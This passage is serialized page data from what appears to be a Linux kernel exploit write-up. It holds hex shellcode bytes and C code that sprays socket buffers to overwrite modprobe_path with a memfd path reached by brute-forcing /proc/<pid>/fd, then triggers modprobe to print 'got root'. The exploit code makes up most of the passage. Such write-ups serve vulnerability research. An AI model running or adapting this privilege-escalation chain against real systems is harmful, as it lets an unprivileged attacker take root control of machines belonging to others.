"props":57038,"children":57039},{"style":610},[57040],{"type":28,"value":56697},{"type":23,"tag":481,"props":57042,"children":57043},{"style":525},[57044],{"type":28,"value":56639},{"type":23,"tag":481,"props":57046,"children":57047},{"style":514},[57048],{"type":28,"value":1930},{"type":23,"tag":481,"props":57050,"children":57051},{"style":551},[57052],{"type":28,"value":57053}," 0x2a",{"type":23,"tag":481,"props":57055,"children":57056},{"style":525},[57057],{"type":28,"value":588},{"type":23,"tag":481,"props":57059,"children":57060},{"style":1805},[57061],{"type":28,"value":17557},{"type":23,"tag":481,"props":57063,"children":57064},{"style":45898},[57065],{"type":28,"value":57066},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":481,"props":57068,"children":57069},{"style":1805},[57070],{"type":28,"value":17557},{"type":23,"tag":481,"props":57072,"children":57073},{"style":525},[57074],{"type":28,"value":588},{"type":23,"tag":481,"props":57076,"children":57077},{"style":551},[57078],{"type":28,"value":57079},"24",{"type":23,"tag":481,"props":57081,"children":57082},{"style":525},[57083],{"type":28,"value":598},{"type":23,"tag":481,"props":57085,"children":57086},{"style":514},[57087],{"type":28,"value":6055},{"type":23,"tag":481,"props":57089,"children":57090},{"style":551},[57091],{"type":28,"value":554},{"type":23,"tag":481,"props":57093,"children":57094},{"style":514},[57095],{"type":28,"value":50210},{"type":23,"tag":481,"props":57097,"children":57098},{"class":483,"line":1204},[57099,57103,57107,57111,57116,57120,57124,57129,57133,57137,57142,57146,57150,57154],{"type":23,"tag":481,"props":57100,"children":57101},{"style":610},[57102],{"type":28,"value":56697},{"type":23,"tag":481,"props":57104,"children":57105},{"style":525},[57106],{"type":28,"value":56639},{"type":23,"tag":481,"props":57108,"children":57109},{"style":514},[57110],{"type":28,"value":1930},{"type":23,"tag":481,"props":57112,"children":57113},{"style":551},[57114],{"type":28,"value":57115}," 0x45",{"type":23,"tag":481,"props":57117,"children":57118},{"style":525},[57119],{"type":28,"value":588},{"type":23,"tag":481,"props":57121,"children":57122},{"style":1805},[57123],{"type":28,"value":17557},{"type":23,"tag":481,"props":57125,"children":57126},{"style":45898},[57127],{"type":28,"value":57128},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":481,"props":57130,"children":57131},{"style":1805},[57132],{"type":28,"value":17557},{"type":23,"tag":481,"props":57134,"children":57135},{"style":525},[57136],{"type":28,"value":588},{"type":23,"tag":481,"props":57138,"children":57139},{"style":551},[57140],{"type":28,"value":57141},"15",{"type":23,"tag":481,"props":57143,"children":57144},{"style":525},[57145],{"type":28,"value":598},{"type":23,"tag":481,"props":57147,"children":57148},{"style":514},[57149],{"type":28,"value":6055},{"type":23,"tag":481,"props":57151,"children":57152},{"style":551},[57153],{"type":28,"value":554},{"type":23,"tag":481,"props":57155,"children":57156},{"style":514},[57157],{"type":28,"value":50210},{"type":23,"tag":481,"props":57159,"children":57160},{"class":483,"line":1213},[57161,57165,57169,57173,57178,57182,57186,57191,57195,57199,57203,57207,57211,57215],{"type":23,"tag":481,"props":57162,"children":57163},{"style":610},[57164],{"type":28,"value":56697},{"type":23,"tag":481,"props":57166,"children":57167},{"style":525},[57168],{"type":28,"value":56639},{"type":23,"tag":481,"props":57170,"children":57171},{"style":514},[57172],{"type":28,"value":1930},{"type":23,"tag":481,"props":57174,"children":57175},{"style":551},[57176],{"type":28,"value":57177}," 0x55",{"type":23,"tag":481,"props":57179,"children":57180},{"style":525},[57181],{"type":28,"value":588},{"type":23,"tag":481,"props":57183,"children":57184},{"style":1805},[57185],{"type":28,"value":17557},{"type":23,"tag":481,"props":57187,"children":57188},{"style":45898},[57189],{"type":28,"value":57190},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":481,"props":57192,"children":57193},{"style":1805},[57194],{"type":28,"value":17557},{"type":23,"tag":481,"props":57196,"children":57197},{"style":525},[57198],{"type":28,"value":588},{"type":23,"tag":481,"props":57200,"children":57201},{"style":551},[57202],{"type":28,"value":1622},{"type":23,"tag":481,"props":57204,"children":57205},{"style":525},[57206],{"type":28,"value":598},{"type":23,"tag":481,"props":57208,"children":57209},{"style":514},[57210],{"type":28,"value":6055},{"type":23,"tag":481,"props":57212,"children":57213},{"style":551},[57214],{"type":28,"value":554},{"type":23,"tag":481,"props":57216,"children":57217},{"style":514},[57218],{"type":28,"value":50210},{"type":23,"tag":481,"props":57220,"children":57221},{"class":483,"line":1222},[57222,57226,57230,57234,57239,57243,57247,57252,57256,57260,57264,57268,57272,57276],{"type":23,"tag":481,"props":57223,"children":57224},{"style":610},[57225],{"type":28,"value":56697},{"type":23,"tag":481,"props":57227,"children":57228},{"style":525},[57229],{"type":28,"value":56639},{"type":23,"tag":481,"props":57231,"children":57232},{"style":514},[57233],{"type":28,"value":1930},{"type":23,"tag":481,"props":57235,"children":57236},{"style":551},[57237],{"type":28,"value":57238}," 0x61",{"type":23,"tag":481,"props":57240,"children":57241},{"style":525},[57242],{"type":28,"value":588},{"type":23,"tag":481,"props":57244,"children":57245},{"style":1805},[57246],{"type":28,"value":17557},{"type":23,"tag":481,"props":57248,"children":57249},{"style":45898},[57250],{"type":28,"value":57251},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":481,"props":57253,"children":57254},{"style":1805},[57255],{"type":28,"value":17557},{"type":23,"tag":481,"props":57257,"children":57258},{"style":525},[57259],{"type":28,"value":588},{"type":23,"tag":481,"props":57261,"children":57262},{"style":551},[57263],{"type":28,"value":15602},{"type":23,"tag":481,"props":57265,"children":57266},{"style":525},[57267],{"type":28,"value":598},{"type":23,"tag":481,"props":57269,"children":57270},{"style":514},[57271],{"type":28,"value":6055},{"type":23,"tag":481,"props":57273,"children":57274},{"style":551},[57275],{"type":28,"value":554},{"type":23,"tag":481,"props":57277,"children":57278},{"style":514},[57279],{"type":28,"value":50210},{"type":23,"tag":481,"props":57281,"children":57282},{"class":483,"line":1291},[57283,57287,57291,57295,57300,57304,57308,57313,57317,57321,57325,57329,57333,57337],{"type":23,"tag":481,"props":57284,"children":57285},{"style":610},[57286],{"type":28,"value":56697},{"type":23,"tag":481,"props":57288,"children":57289},{"style":525},[57290],{"type":28,"value":56639},{"type":23,"tag":481,"props":57292,"children":57293},{"style":514},[57294],{"type":28,"value":1930},{"type":23,"tag":481,"props":57296,"children":57297},{"style":551},[57298],{"type":28,"value":57299}," 0x6a",{"type":23,"tag":481,"props":57301,"children":57302},{"style":525},[57303],{"type":28,"value":588},{"type":23,"tag":481,"props":57305,"children":57306},{"style":1805},[57307],{"type":28,"value":17557},{"type":23,"tag":481,"props":57309,"children":57310},{"style":45898},[57311],{"type":28,"value":57312},"\\x48\\xc7\\xc6",{"type":23,"tag":481,"props":57314,"children":57315},{"style":1805},[57316],{"type":28,"value":17557},{"type":23,"tag":481,"props":57318,"children":57319},{"style":525},[57320],{"type":28,"value":588},{"type":23,"tag":481,"props":57322,"children":57323},{"style":551},[57324],{"type":28,"value":14788},{"type":23,"tag":481,"props":57326,"children":57327},{"style":525},[57328],{"type":28,"value":598},{"type":23,"tag":481,"props":57330,"children":57331},{"style":514},[57332],{"type":28,"value":6055},{"type":23,"tag":481,"props":57334,"children":57335},{"style":551},[57336],{"type":28,"value":554},{"type":23,"tag":481,"props":57338,"children":57339},{"style":514},[57340],{"type":28,"value":50210},{"type":23,"tag":481,"props":57342,"children":57343},{"class":483,"line":1299},[57344,57348,57352,57356,57361,57365,57369,57374,57378,57382,57386,57390,57394,57398],{"type":23,"tag":481,"props":57345,"children":57346},{"style":610},[57347],{"type":28,"value":56697},{"type":23,"tag":481,"props":57349,"children":57350},{"style":525},[57351],{"type":28,"value":56639},{"type":23,"tag":481,"props":57353,"children":57354},{"style":514},[57355],{"type":28,"value":1930},{"type":23,"tag":481,"props":57357,"children":57358},{"style":551},[57359],{"type":28,"value":57360}," 0x71",{"type":23,"tag":481,"props":57362,"children":57363},{"style":525},[57364],{"type":28,"value":588},{"type":23,"tag":481,"props":57366,"children":57367},{"style":1805},[57368],{"type":28,"value":17557},{"type":23,"tag":481,"props":57370,"children":57371},{"style":45898},[57372],{"type":28,"value":57373},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":481,"props":57375,"children":57376},{"style":1805},[57377],{"type":28,"value":17557},{"type":23,"tag":481,"props":57379,"children":57380},{"style":525},[57381],{"type":28,"value":588},{"type":23,"tag":481,"props":57383,"children":57384},{"style":551},[57385],{"type":28,"value":15914},{"type":23,"tag":481,"props":57387,"children":57388},{"style":525},[57389],{"type":28,"value":598},{"type":23,"tag":481,"props":57391,"children":57392},{"style":514},[57393],{"type":28,"value":6055},{"type":23,"tag":481,"props":57395,"children":57396},{"style":551},[57397],{"type":28,"value":554},{"type":23,"tag":481,"props":57399,"children":57400},{"style":514},[57401],{"type":28,"value":50210},{"type":23,"tag":481,"props":57403,"children":57404},{"class":483,"line":1329},[57405,57409,57413,57417,57422,57426,57430,57435,57439,57443,57447,57451,57455,57459],{"type":23,"tag":481,"props":57406,"children":57407},{"style":610},[57408],{"type":28,"value":56697},{"type":23,"tag":481,"props":57410,"children":57411},{"style":525},[57412],{"type":28,"value":56639},{"type":23,"tag":481,"props":57414,"children":57415},{"style":514},[57416],{"type":28,"value":1930},{"type":23,"tag":481,"props":57418,"children":57419},{"style":551},[57420],{"type":28,"value":57421}," 0x78",{"type":23,"tag":481,"props":57423,"children":57424},{"style":525},[57425],{"type":28,"value":588},{"type":23,"tag":481,"props":57427,"children":57428},{"style":1805},[57429],{"type":28,"value":17557},{"type":23,"tag":481,"props":57431,"children":57432},{"style":45898},[57433],{"type":28,"value":57434},"\\xff\\xe0",{"type":23,"tag":481,"props":57436,"children":57437},{"style":1805},[57438],{"type":28,"value":17557},{"type":23,"tag":481,"props":57440,"children":57441},{"style":525},[57442],{"type":28,"value":588},{"type":23,"tag":481,"props":57444,"children":57445},{"style":551},[57446],{"type":28,"value":637},{"type":23,"tag":481,"props":57448,"children":57449},{"style":525},[57450],{"type":28,"value":598},{"type":23,"tag":481,"props":57452,"children":57453},{"style":514},[57454],{"type":28,"value":6055},{"type":23,"tag":481,"props":57456,"children":57457},{"style":551},[57458],{"type":28,"value":554},{"type":23,"tag":481,"props":57460,"children":57461},{"style":525},[57462],{"type":28,"value":675},{"type":23,"tag":481,"props":57464,"children":57465},{"class":483,"line":1337},[57466,57470,57474],{"type":23,"tag":481,"props":57467,"children":57468},{"style":535},[57469],{"type":28,"value":13234},{"type":23,"tag":481,"props":57471,"children":57472},{"style":497},[57473],{"type":28,"value":9956},{"type":23,"tag":481,"props":57475,"children":57476},{"style":525},[57477],{"type":28,"value":528},{"type":23,"tag":481,"props":57479,"children":57480},{"class":483,"line":1369},[57481],{"type":23,"tag":481,"props":57482,"children":57483},{"emptyLinePlaceholder":15},[57484],{"type":28,"value":1210},{"type":23,"tag":481,"props":57486,"children":57487},{"class":483,"line":1377},[57488,57492,57496],{"type":23,"tag":481,"props":57489,"children":57490},{"style":535},[57491],{"type":28,"value":14481},{"type":23,"tag":481,"props":57493,"children":57494},{"style":497},[57495],{"type":28,"value":6539},{"type":23,"tag":481,"props":57497,"children":57498},{"style":525},[57499],{"type":28,"value":528},{"type":23,"tag":481,"props":57501,"children":57502},{"class":483,"line":1437},[57503],{"type":23,"tag":481,"props":57504,"children":57505},{"style":525},[57506],{"type":28,"value":1443},{"type":23,"tag":481,"props":57508,"children":57509},{"class":483,"line":6528},[57510],{"type":23,"tag":481,"props":57511,"children":57512},{"style":525},[57513],{"type":28,"value":7803},{"type":23,"tag":7092,"props":57515,"children":57517},{"id":57516},"overwriting-modprobe_path",[57518,57520],{"type":28,"value":57519},"Overwriting ",{"type":23,"tag":64,"props":57521,"children":57523},{"className":57522},[],[57524],{"type":28,"value":55905},{"type":23,"tag":24,"props":57526,"children":57527},{},[57528,57530,57536],{"type":28,"value":57529},"Finding the ",{"type":23,"tag":64,"props":57531,"children":57533},{"className":57532},[],[57534],{"type":28,"value":57535},"/sbin/modprobe",{"type":28,"value":57537}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":57539,"children":57540},{},[57541,57543,57549],{"type":28,"value":57542},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":64,"props":57544,"children":57546},{"className":57545},[],[57547],{"type":28,"value":57548},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":57550}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":435,"props":57552,"children":57554},{"className":26623,"code":57553,"language":26625,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[57555],{"type":23,"tag":64,"props":57556,"children":57557},{"__ignoreMap":7},[57558,57565,57587,57595,57602,57610,57618,57626,57634,57641,57649,57656,57694,57705,57712,57719,57726,57753,57784,57791,57813,57826,57833,57891,57898,57926,57933,57940,57961,57968,57989,58000,58007,58014,58035,58042,58070,58083,58090,58097,58146,58153,58221,58228,58249,58269,58276,58283,58290,58310],{"type":23,"tag":481,"props":57559,"children":57560},{"class":483,"line":484},[57561],{"type":23,"tag":481,"props":57562,"children":57563},{"style":525},[57564],{"type":28,"value":7803},{"type":23,"tag":481,"props":57566,"children":57567},{"class":483,"line":351},[57568,57573,57578,57583],{"type":23,"tag":481,"props":57569,"children":57570},{"style":525},[57571],{"type":28,"value":57572}," puts(\"[*] ",{"type":23,"tag":481,"props":57574,"children":57575},{"style":943},[57576],{"type":28,"value":57577},"overwrite",{"type":23,"tag":481,"props":57579,"children":57580},{"style":943},[57581],{"type":28,"value":57582}," modprobe_path",{"type":23,"tag":481,"props":57584,"children":57585},{"style":1805},[57586],{"type":28,"value":53818},{"type":23,"tag":481,"props":57588,"children":57589},{"class":483,"line":531},[57590],{"type":23,"tag":481,"props":57591,"children":57592},{"style":1805},[57593],{"type":28,"value":57594}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":481,"props":57596,"children":57597},{"class":483,"line":567},[57598],{"type":23,"tag":481,"props":57599,"children":57600},{"style":1805},[57601],{"type":28,"value":26700},{"type":23,"tag":481,"props":57603,"children":57604},{"class":483,"line":678},[57605],{"type":23,"tag":481,"props":57606,"children":57607},{"style":1805},[57608],{"type":28,"value":57609}," pipebuf->page = modprobe_page;\n",{"type":23,"tag":481,"props":57611,"children":57612},{"class":483,"line":784},[57613],{"type":23,"tag":481,"props":57614,"children":57615},{"style":1805},[57616],{"type":28,"value":57617}," pipebuf->offset = modprobe_off;\n",{"type":23,"tag":481,"props":57619,"children":57620},{"class":483,"line":812},[57621],{"type":23,"tag":481,"props":57622,"children":57623},{"style":1805},[57624],{"type":28,"value":57625}," pipebuf->len = 0;\n",{"type":23,"tag":481,"props":57627,"children":57628},{"class":483,"line":825},[57629],{"type":23,"tag":481,"props":57630,"children":57631},{"style":1805},[57632],{"type":28,"value":57633}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":481,"props":57635,"children":57636},{"class":483,"line":843},[57637],{"type":23,"tag":481,"props":57638,"children":57639},{"style":1805},[57640],{"type":28,"value":29174},{"type":23,"tag":481,"props":57642,"children":57643},{"class":483,"line":864},[57644],{"type":23,"tag":481,"props":57645,"children":57646},{"style":1805},[57647],{"type":28,"value":57648}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":481,"props":57650,"children":57651},{"class":483,"line":873},[57652],{"type":23,"tag":481,"props":57653,"children":57654},{"style":1805},[57655],{"type":28,"value":29210},{"type":23,"tag":481,"props":57657,"children":57658},{"class":483,"line":1125},[57659,57664,57668,57672,57676,57681,57685,57689],{"type":23,"tag":481,"props":57660,"children":57661},{"style":1805},[57662],{"type":28,"value":57663}," perror(\"",{"type":23,"tag":481,"props":57665,"children":57666},{"style":525},[57667],{"type":28,"value":1269},{"type":23,"tag":481,"props":57669,"children":57670},{"style":514},[57671],{"type":28,"value":1876},{"type":23,"tag":481,"props":57673,"children":57674},{"style":525},[57675],{"type":28,"value":6141},{"type":23,"tag":481,"props":57677,"children":57678},{"style":943},[57679],{"type":28,"value":57680},"write",{"type":23,"tag":481,"props":57682,"children":57683},{"style":525},[57684],{"type":28,"value":618},{"type":23,"tag":481,"props":57686,"children":57687},{"style":943},[57688],{"type":28,"value":39458},{"type":23,"tag":481,"props":57690,"children":57691},{"style":525},[57692],{"type":28,"value":57693},")\");\n",{"type":23,"tag":481,"props":57695,"children":57696},{"class":483,"line":1142},[57697,57701],{"type":23,"tag":481,"props":57698,"children":57699},{"style":535},[57700],{"type":28,"value":56487},{"type":23,"tag":481,"props":57702,"children":57703},{"style":525},[57704],{"type":28,"value":528},{"type":23,"tag":481,"props":57706,"children":57707},{"class":483,"line":1159},[57708],{"type":23,"tag":481,"props":57709,"children":57710},{"style":525},[57711],{"type":28,"value":56412},{"type":23,"tag":481,"props":57713,"children":57714},{"class":483,"line":1172},[57715],{"type":23,"tag":481,"props":57716,"children":57717},{"style":525},[57718],{"type":28,"value":870},{"type":23,"tag":481,"props":57720,"children":57721},{"class":483,"line":1181},[57722],{"type":23,"tag":481,"props":57723,"children":57724},{"emptyLinePlaceholder":15},[57725],{"type":28,"value":1210},{"type":23,"tag":481,"props":57727,"children":57728},{"class":483,"line":1204},[57729,57733,57737,57741,57745,57749],{"type":23,"tag":481,"props":57730,"children":57731},{"style":610},[57732],{"type":28,"value":52143},{"type":23,"tag":481,"props":57734,"children":57735},{"style":525},[57736],{"type":28,"value":618},{"type":23,"tag":481,"props":57738,"children":57739},{"style":514},[57740],{"type":28,"value":623},{"type":23,"tag":481,"props":57742,"children":57743},{"style":525},[57744],{"type":28,"value":56298},{"type":23,"tag":481,"props":57746,"children":57747},{"style":551},[57748],{"type":28,"value":1568},{"type":23,"tag":481,"props":57750,"children":57751},{"style":525},[57752],{"type":28,"value":56307},{"type":23,"tag":481,"props":57754,"children":57755},{"class":483,"line":1213},[57756,57760,57765,57769,57774,57779],{"type":23,"tag":481,"props":57757,"children":57758},{"style":610},[57759],{"type":28,"value":52844},{"type":23,"tag":481,"props":57761,"children":57762},{"style":525},[57763],{"type":28,"value":57764},"(fd_path, ",{"type":23,"tag":481,"props":57766,"children":57767},{"style":497},[57768],{"type":28,"value":52854},{"type":23,"tag":481,"props":57770,"children":57771},{"style":525},[57772],{"type":28,"value":57773},"(fd_path), ",{"type":23,"tag":481,"props":57775,"children":57776},{"style":1805},[57777],{"type":28,"value":57778},"\"/proc/%i/fd/%i\"",{"type":23,"tag":481,"props":57780,"children":57781},{"style":525},[57782],{"type":28,"value":57783},", i, modprobe_fd);\n",{"type":23,"tag":481,"props":57785,"children":57786},{"class":483,"line":1222},[57787],{"type":23,"tag":481,"props":57788,"children":57789},{"emptyLinePlaceholder":15},[57790],{"type":28,"value":1210},{"type":23,"tag":481,"props":57792,"children":57793},{"class":483,"line":1291},[57794,57799,57804,57808],{"type":23,"tag":481,"props":57795,"children":57796},{"style":610},[57797],{"type":28,"value":57798}," lseek",{"type":23,"tag":481,"props":57800,"children":57801},{"style":525},[57802],{"type":28,"value":57803},"(modprobe_fd, ",{"type":23,"tag":481,"props":57805,"children":57806},{"style":551},[57807],{"type":28,"value":1568},{"type":23,"tag":481,"props":57809,"children":57810},{"style":525},[57811],{"type":28,"value":57812},", SEEK_SET);\n",{"type":23,"tag":481,"props":57814,"children":57815},{"class":483,"line":1299},[57816,57821],{"type":23,"tag":481,"props":57817,"children":57818},{"style":610},[57819],{"type":28,"value":57820}," dprintf",{"type":23,"tag":481,"props":57822,"children":57823},{"style":525},[57824],{"type":28,"value":57825},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":481,"props":57827,"children":57828},{"class":483,"line":1329},[57829],{"type":23,"tag":481,"props":57830,"children":57831},{"emptyLinePlaceholder":15},[57832],{"type":28,"value":1210},{"type":23,"tag":481,"props":57834,"children":57835},{"class":483,"line":1337},[57836,57840,57844,57848,57852,57856,57861,57865,57870,57875,57879,57883,57887],{"type":23,"tag":481,"props":57837,"children":57838},{"style":535},[57839],{"type":28,"value":790},{"type":23,"tag":481,"props":57841,"children":57842},{"style":525},[57843],{"type":28,"value":578},{"type":23,"tag":481,"props":57845,"children":57846},{"style":610},[57847],{"type":28,"value":57680},{"type":23,"tag":481,"props":57849,"children":57850},{"style":525},[57851],{"type":28,"value":618},{"type":23,"tag":481,"props":57853,"children":57854},{"style":508},[57855],{"type":28,"value":56351},{"type":23,"tag":481,"props":57857,"children":57858},{"style":525},[57859],{"type":28,"value":57860},"[pipe_idx][",{"type":23,"tag":481,"props":57862,"children":57863},{"style":551},[57864],{"type":28,"value":1558},{"type":23,"tag":481,"props":57866,"children":57867},{"style":525},[57868],{"type":28,"value":57869},"], fd_path, ",{"type":23,"tag":481,"props":57871,"children":57872},{"style":551},[57873],{"type":28,"value":57874},"32",{"type":23,"tag":481,"props":57876,"children":57877},{"style":525},[57878],{"type":28,"value":598},{"type":23,"tag":481,"props":57880,"children":57881},{"style":514},[57882],{"type":28,"value":3282},{"type":23,"tag":481,"props":57884,"children":57885},{"style":551},[57886],{"type":28,"value":554},{"type":23,"tag":481,"props":57888,"children":57889},{"style":525},[57890],{"type":28,"value":675},{"type":23,"tag":481,"props":57892,"children":57893},{"class":483,"line":1369},[57894],{"type":23,"tag":481,"props":57895,"children":57896},{"style":525},[57897],{"type":28,"value":29174},{"type":23,"tag":481,"props":57899,"children":57900},{"class":483,"line":1377},[57901,57905,57909,57913,57917,57922],{"type":23,"tag":481,"props":57902,"children":57903},{"style":610},[57904],{"type":28,"value":55424},{"type":23,"tag":481,"props":57906,"children":57907},{"style":525},[57908],{"type":28,"value":618},{"type":23,"tag":481,"props":57910,"children":57911},{"style":1805},[57912],{"type":28,"value":17557},{"type":23,"tag":481,"props":57914,"children":57915},{"style":45898},[57916],{"type":28,"value":45901},{"type":23,"tag":481,"props":57918,"children":57919},{"style":1805},[57920],{"type":28,"value":57921},"[-] write(pipe)\"",{"type":23,"tag":481,"props":57923,"children":57924},{"style":525},[57925],{"type":28,"value":1366},{"type":23,"tag":481,"props":57927,"children":57928},{"class":483,"line":1437},[57929],{"type":23,"tag":481,"props":57930,"children":57931},{"style":525},[57932],{"type":28,"value":870},{"type":23,"tag":481,"props":57934,"children":57935},{"class":483,"line":6528},[57936],{"type":23,"tag":481,"props":57937,"children":57938},{"emptyLinePlaceholder":15},[57939],{"type":28,"value":1210},{"type":23,"tag":481,"props":57941,"children":57942},{"class":483,"line":6546},[57943,57947,57951,57956],{"type":23,"tag":481,"props":57944,"children":57945},{"style":535},[57946],{"type":28,"value":790},{"type":23,"tag":481,"props":57948,"children":57949},{"style":525},[57950],{"type":28,"value":578},{"type":23,"tag":481,"props":57952,"children":57953},{"style":610},[57954],{"type":28,"value":57955},"check_modprobe",{"type":23,"tag":481,"props":57957,"children":57958},{"style":525},[57959],{"type":28,"value":57960},"(fd_path))\n",{"type":23,"tag":481,"props":57962,"children":57963},{"class":483,"line":6591},[57964],{"type":23,"tag":481,"props":57965,"children":57966},{"style":525},[57967],{"type":28,"value":29174},{"type":23,"tag":481,"props":57969,"children":57970},{"class":483,"line":6697},[57971,57976,57980,57985],{"type":23,"tag":481,"props":57972,"children":57973},{"style":610},[57974],{"type":28,"value":57975}," puts",{"type":23,"tag":481,"props":57977,"children":57978},{"style":525},[57979],{"type":28,"value":618},{"type":23,"tag":481,"props":57981,"children":57982},{"style":1805},[57983],{"type":28,"value":57984},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":481,"props":57986,"children":57987},{"style":525},[57988],{"type":28,"value":1366},{"type":23,"tag":481,"props":57990,"children":57991},{"class":483,"line":21008},[57992,57996],{"type":23,"tag":481,"props":57993,"children":57994},{"style":535},[57995],{"type":28,"value":818},{"type":23,"tag":481,"props":57997,"children":57998},{"style":525},[57999],{"type":28,"value":528},{"type":23,"tag":481,"props":58001,"children":58002},{"class":483,"line":21043},[58003],{"type":23,"tag":481,"props":58004,"children":58005},{"style":525},[58006],{"type":28,"value":870},{"type":23,"tag":481,"props":58008,"children":58009},{"class":483,"line":21051},[58010],{"type":23,"tag":481,"props":58011,"children":58012},{"emptyLinePlaceholder":15},[58013],{"type":28,"value":1210},{"type":23,"tag":481,"props":58015,"children":58016},{"class":483,"line":21059},[58017,58021,58025,58030],{"type":23,"tag":481,"props":58018,"children":58019},{"style":535},[58020],{"type":28,"value":790},{"type":23,"tag":481,"props":58022,"children":58023},{"style":525},[58024],{"type":28,"value":578},{"type":23,"tag":481,"props":58026,"children":58027},{"style":610},[58028],{"type":28,"value":58029},"trigger_modprobe",{"type":23,"tag":481,"props":58031,"children":58032},{"style":525},[58033],{"type":28,"value":58034},"(status_fd))\n",{"type":23,"tag":481,"props":58036,"children":58037},{"class":483,"line":21068},[58038],{"type":23,"tag":481,"props":58039,"children":58040},{"style":525},[58041],{"type":28,"value":29174},{"type":23,"tag":481,"props":58043,"children":58044},{"class":483,"line":21110},[58045,58049,58053,58057,58061,58066],{"type":23,"tag":481,"props":58046,"children":58047},{"style":610},[58048],{"type":28,"value":57975},{"type":23,"tag":481,"props":58050,"children":58051},{"style":525},[58052],{"type":28,"value":618},{"type":23,"tag":481,"props":58054,"children":58055},{"style":1805},[58056],{"type":28,"value":17557},{"type":23,"tag":481,"props":58058,"children":58059},{"style":45898},[58060],{"type":28,"value":45901},{"type":23,"tag":481,"props":58062,"children":58063},{"style":1805},[58064],{"type":28,"value":58065},"[+] got root\"",{"type":23,"tag":481,"props":58067,"children":58068},{"style":525},[58069],{"type":28,"value":1366},{"type":23,"tag":481,"props":58071,"children":58072},{"class":483,"line":21143},[58073,58078],{"type":23,"tag":481,"props":58074,"children":58075},{"style":535},[58076],{"type":28,"value":58077}," goto",{"type":23,"tag":481,"props":58079,"children":58080},{"style":525},[58081],{"type":28,"value":58082}," out;\n",{"type":23,"tag":481,"props":58084,"children":58085},{"class":483,"line":21151},[58086],{"type":23,"tag":481,"props":58087,"children":58088},{"style":525},[58089],{"type":28,"value":870},{"type":23,"tag":481,"props":58091,"children":58092},{"class":483,"line":21159},[58093],{"type":23,"tag":481,"props":58094,"children":58095},{"emptyLinePlaceholder":15},[58096],{"type":28,"value":1210},{"type":23,"tag":481,"props":58098,"children":58099},{"class":483,"line":21168},[58100,58105,58109,58113,58117,58121,58125,58129,58133,58138,58142],{"type":23,"tag":481,"props":58101,"children":58102},{"style":535},[58103],{"type":28,"value":58104}," for",{"type":23,"tag":481,"props":58106,"children":58107},{"style":525},[58108],{"type":28,"value":578},{"type":23,"tag":481,"props":58110,"children":58111},{"style":497},[58112],{"type":28,"value":16543},{"type":23,"tag":481,"props":58114,"children":58115},{"style":525},[58116],{"type":28,"value":52070},{"type":23,"tag":481,"props":58118,"children":58119},{"style":514},[58120],{"type":28,"value":603},{"type":23,"tag":481,"props":58122,"children":58123},{"style":551},[58124],{"type":28,"value":554},{"type":23,"tag":481,"props":58126,"children":58127},{"style":525},[58128],{"type":28,"value":48759},{"type":23,"tag":481,"props":58130,"children":58131},{"style":514},[58132],{"type":28,"value":3282},{"type":23,"tag":481,"props":58134,"children":58135},{"style":525},[58136],{"type":28,"value":58137}," SKBUF_SPRAY; i",{"type":23,"tag":481,"props":58139,"children":58140},{"style":514},[58141],{"type":28,"value":48795},{"type":23,"tag":481,"props":58143,"children":58144},{"style":525},[58145],{"type":28,"value":675},{"type":23,"tag":481,"props":58147,"children":58148},{"class":483,"line":21244},[58149],{"type":23,"tag":481,"props":58150,"children":58151},{"style":525},[58152],{"type":28,"value":29174},{"type":23,"tag":481,"props":58154,"children":58155},{"class":483,"line":21277},[58156,58160,58164,58169,58173,58178,58183,58187,58192,58196,58200,58205,58209,58213,58217],{"type":23,"tag":481,"props":58157,"children":58158},{"style":535},[58159],{"type":28,"value":56328},{"type":23,"tag":481,"props":58161,"children":58162},{"style":525},[58163],{"type":28,"value":578},{"type":23,"tag":481,"props":58165,"children":58166},{"style":610},[58167],{"type":28,"value":58168},"read",{"type":23,"tag":481,"props":58170,"children":58171},{"style":525},[58172],{"type":28,"value":618},{"type":23,"tag":481,"props":58174,"children":58175},{"style":508},[58176],{"type":28,